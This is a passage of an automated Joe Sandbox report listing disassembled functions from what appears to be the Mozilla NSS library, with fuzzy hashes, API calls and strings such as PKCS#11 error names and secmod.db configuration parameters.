Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 1a1a6a8aaea889d8e995863e3e1469c29b63eb1f009a788d1c3ee7e6ff797a68
Instruction ID: a715cf1e1abadfb269b6f2f71a8ce6dcc356cec171325331e17983cf3ad97e68
Opcode Fuzzy Hash: 1a1a6a8aaea889d8e995863e3e1469c29b63eb1f009a788d1c3ee7e6ff797a68
Instruction Fuzzy Hash: 4F511771B04952AFD710CE59C884B6A73B1FF8D31CF2A4129DE099BB21D735E94ACB81

Function 6D000E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6D001052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6D001086

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 710193527dace322fe26860d5df94f8b92e9d24ea6fba789944319f73ae101eb
Instruction ID: a48604ec6d4d5a2853b849dc0bf9aef4a50a137a151e9a5a9e598ccc92dcb4fc
Opcode Fuzzy Hash: 710193527dace322fe26860d5df94f8b92e9d24ea6fba789944319f73ae101eb
Instruction Fuzzy Hash: 4CA11D71A0421AAFEF08CF9AD894AEEB7F6BF4C354B158129E915E7300D735AD11CB90

Function 6CFEED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CFEEE3D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: b50f34a56659863703d41bd5f265307c14dce4155678b819682b0484630f2302
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 2E71D0B2E017019BD718CF59E8806ABBBF2ABDC314F15862DD85A97B91D730E900CB91

Function 6CF15F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CF16013

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: bd154c7990e2524ad5d8e53bb859a1c9008f249887fedda4e9a8c2ac02795dd6
Instruction ID: c7914e914588e2920ef0b1790450876ab65a290f197aab3a60d514189b6a83bb
Opcode Fuzzy Hash: bd154c7990e2524ad5d8e53bb859a1c9008f249887fedda4e9a8c2ac02795dd6
Instruction Fuzzy Hash: 15C1E671B0C6468BDB04CF15C8907AABBF2EF45328F688169E9A5DBF42D731E845C790

Function 6D0A5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6D0A5B90: PR_Lock.NSS3(00010000,?,00000000,?,6CF8DF9B), ref: 6D0A5B9E
Part of subcall function 6D0A5B90: PR_Unlock.NSS3 ref: 6D0A5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6D0A5E23,6CF8E154), ref: 6D0A5EBF

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: ae80921ad55cfc616e09c7d9b2c815106d2c970a84a445f09aa9ee9c76310707
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 0C519172E002168FDB18CF99C8816AEF3F2FF98314B19456DD915B7355D730A941CBA0

Function 6D05DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adab40558cd6c699a68ac84d7a29bec4bd83cde2ee36f78357415fbfb8151b12
Instruction ID: 5209fc8f10c3efd32e3610101fc77a179428afd6ec08d5d0e3097223ab04b503
Opcode Fuzzy Hash: adab40558cd6c699a68ac84d7a29bec4bd83cde2ee36f78357415fbfb8151b12
Instruction Fuzzy Hash: 97F15875A00205CFEB08CF19D584BAE77B2BF89314F298169DC499B341DB35ED92CBA1

Function 6CFF1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 1a33a58eef0d62824b44780ebb6299406b9728cab2cee2d5c81cab5bd95618f0
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: BDD14873A056568BEB118E18C8843DA7763EB85328F5D8329C8741B7E6C37BA907C7D0

Function 6CF88EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef28c1a52aa5e2d4fe0e5ca0ec073b9e3a4a67a4b4cb9ad044fb2328048a2c81
Instruction ID: 0f202412a0a41a64effa458182d8dca7a495709e4695665f0dccbc4aeaa785da
Opcode Fuzzy Hash: ef28c1a52aa5e2d4fe0e5ca0ec073b9e3a4a67a4b4cb9ad044fb2328048a2c81
Instruction Fuzzy Hash: 1F11E332A022159FD704DF28D884B9AB7B5FF4231CF1442AAD8058FA41C775E8C6C7D1

Function 6D060C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 116c56757019c17768d1805793acabef6c8dfbb91af321945399d9773874f95b
Instruction ID: 16158f74de76f33a43c83596d96d0fcc4f5b7752a35fa7ec418bcc828b1c34ae
Opcode Fuzzy Hash: 116c56757019c17768d1805793acabef6c8dfbb91af321945399d9773874f95b
Instruction Fuzzy Hash: 3B11A0756083469FEB01DF29D8807AA7BF6FF85364F14846DD8198B741DB72E806CBA0

Function 6CFD3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: f9ea716577ba1f5a4e40b71d2e1e9c2d84c906eb15df0fb0c4791360828931ea
Instruction ID: 061aa4196408b5aafaa2a68729f2e0f02fd93707fd48ee31fef82a1d2f61843c
Opcode Fuzzy Hash: f9ea716577ba1f5a4e40b71d2e1e9c2d84c906eb15df0fb0c4791360828931ea
Instruction Fuzzy Hash: FAF05E70A0475D8BCB10DF38C59169FB7F4EF09254F019619ED9AAB201EB30AAD4C7D1

Function 6D060D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 5a5867fec23398dcae6a40b3bdb98f968bcc82075e2cc3130af584bfe5c1ad93
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: E4E0923AA88055A7EB148E0AC450BB97399EF81615FA4C17DEC5D9F601D733F80387A1

Function 6CF8CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d134d94b18180d299d4687728294f26a19193c6b9e9abcd570a7225dbc4ad254
Instruction ID: 98d0e698868fa4702d4420c82d7cd4c5a0c3efe96d6777da60e6a828a32468e8
Opcode Fuzzy Hash: d134d94b18180d299d4687728294f26a19193c6b9e9abcd570a7225dbc4ad254
Instruction Fuzzy Hash: 98C04838244608DFC704DB08E589AA83BA8EB0D6107140094EA028B721DB31F800CA84

Function 6CFC1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CFC1D46), ref: 6CFC2345

Strings

CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CFC226B
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CFC1DE0
CKR_TOKEN_NOT_PRESENT, xrefs: 6CFC1F81
CKR_BUFFER_TOO_SMALL, xrefs: 6CFC2183
CKR_RANDOM_NO_RNG, xrefs: 6CFC22A7
CKR_NEXT_OTP, xrefs: 6CFC222F
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CFC204D
CKR_MUTEX_NOT_LOCKED, xrefs: 6CFC2225
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CFC2320
CKR_INFORMATION_SENSITIVE, xrefs: 6CFC22B1
CKR_WRAPPED_KEY_INVALID, xrefs: 6CFC1FB5
CKR_SIGNATURE_INVALID, xrefs: 6CFC20CF
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CFC2179
rv = 0x%x, xrefs: 6CFC2312
CKR_PIN_LEN_RANGE, xrefs: 6CFC2061
CKR_DEVICE_MEMORY, xrefs: 6CFC1FF3
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CFC1EE1
CKR_FUNCTION_REJECTED, xrefs: 6CFC2289
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CFC2319
CKR_PIN_INCORRECT, xrefs: 6CFC1D92
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CFC2015
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CFC2275
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CFC232E
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CFC218D
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CFC22FF
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CFC2327
CKR_NEW_PIN_MODE, xrefs: 6CFC1E9F
CKR_OK, xrefs: 6CFC1DFC
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CFC1FD7
CKR_FUNCTION_CANCELED, xrefs: 6CFC1E73
CKR_DEVICE_REMOVED, xrefs: 6CFC2261
CKR_DEVICE_ERROR, xrefs: 6CFC229D
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CFC1F77
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CFC20D9
CKR_SAVED_STATE_INVALID, xrefs: 6CFC1E56
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CFC227F
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CFC1F8B
CKR_MUTEX_BAD, xrefs: 6CFC1F49
CKR_PIN_EXPIRED, xrefs: 6CFC206B
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CFC1F95
rv = %s, xrefs: 6CFC2340
CKR_STATE_UNSAVEABLE, xrefs: 6CFC2037
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CFC2293, 6CFC233F
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CFC1F0F
CKR_PIN_INVALID, xrefs: 6CFC2057
CKR_OPERATION_ACTIVE, xrefs: 6CFC22B8
CKR_PIN_LOCKED, xrefs: 6CFC2075

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 287e71040be9acb4849c6d54531473cfb0b9f8f23ff95a81ca697cc42a701ee6
Instruction ID: 073355cd6fa04ddac9c8df63ff29afaa9becf011b0ad7eb51dd0e0027a3a052d
Opcode Fuzzy Hash: 287e71040be9acb4849c6d54531473cfb0b9f8f23ff95a81ca697cc42a701ee6
Instruction Fuzzy Hash: E761332574D243C7FA5C450C81EC3BF2124EB87318F74A13BE5A98EE99C697CA934693

Function 6CFF5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CFF5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CFF5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CFF5E5C
free.MOZGLUE(00000000), ref: 6CFF5E7E
free.MOZGLUE(00000000), ref: 6CFF5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CFF5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CFF5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CFF5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CFF5EF0
free.MOZGLUE(00000000), ref: 6CFF5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CFF5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CFF5F5B
free.MOZGLUE(00000000), ref: 6CFF5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CFF5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CFF5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CFF5FC4
free.MOZGLUE(00000000), ref: 6CFF5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CFF5FE9
free.MOZGLUE(00000000), ref: 6CFF5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CFF600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFF6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CFF605A
PR_smprintf.NSS3(6D0CAAF9,00000000), ref: 6CFF606A
free.MOZGLUE(00000000), ref: 6CFF607C
free.MOZGLUE(00000000), ref: 6CFF609A
free.MOZGLUE(00000000), ref: 6CFF60B2
free.MOZGLUE(?), ref: 6CFF60CE

Strings

secmod=, xrefs: 6CFF5FB1
readOnly, xrefs: 6CFF5E56
forceSecmodChoice, xrefs: 6CFF5F55
configDir=, xrefs: 6CFF5F9D
flags, xrefs: 6CFF5E3A, 6CFF5EC6, 6CFF5F30
pkcs11.txt, xrefs: 6CFF5F47, 6CFF5F7C, 6CFF603A, 6CFF6053
secmod.db, xrefs: 6CFF5EA0
noModDB, xrefs: 6CFF5EEA
%s/%s, xrefs: 6CFF6055

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 1d7bf55bbe05003c9c6489c3a34b40f183f534b77e99d5955b0dca6eef173498
Instruction ID: 1432a93cfe00d5483001244d76e3bafdf92dbf46d5610a70da14315eaa1dc1b4
Opcode Fuzzy Hash: 1d7bf55bbe05003c9c6489c3a34b40f183f534b77e99d5955b0dca6eef173498
Instruction Fuzzy Hash: FB91B1F49042455BFF018F25AC81BAB3FA4DF4634CF184060EC699B7A2E736D956C7A2

Function 6CF81D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CF81DA3

Part of subcall function 6D0598D0: calloc.MOZGLUE(00000001,00000084,6CF80936,00000001,?,6CF8102C), ref: 6D0598E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CF81DB2

Part of subcall function 6CF81240: TlsGetValue.KERNEL32(00000040,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF81267
Part of subcall function 6CF81240: EnterCriticalSection.KERNEL32(?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF8127C
Part of subcall function 6CF81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF81291
Part of subcall function 6CF81240: PR_Unlock.NSS3(?,?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF812A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF81DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CF81E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CF81EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CF81ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CF81EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CF81F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CF81F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CF81F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CF81F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CF81F83
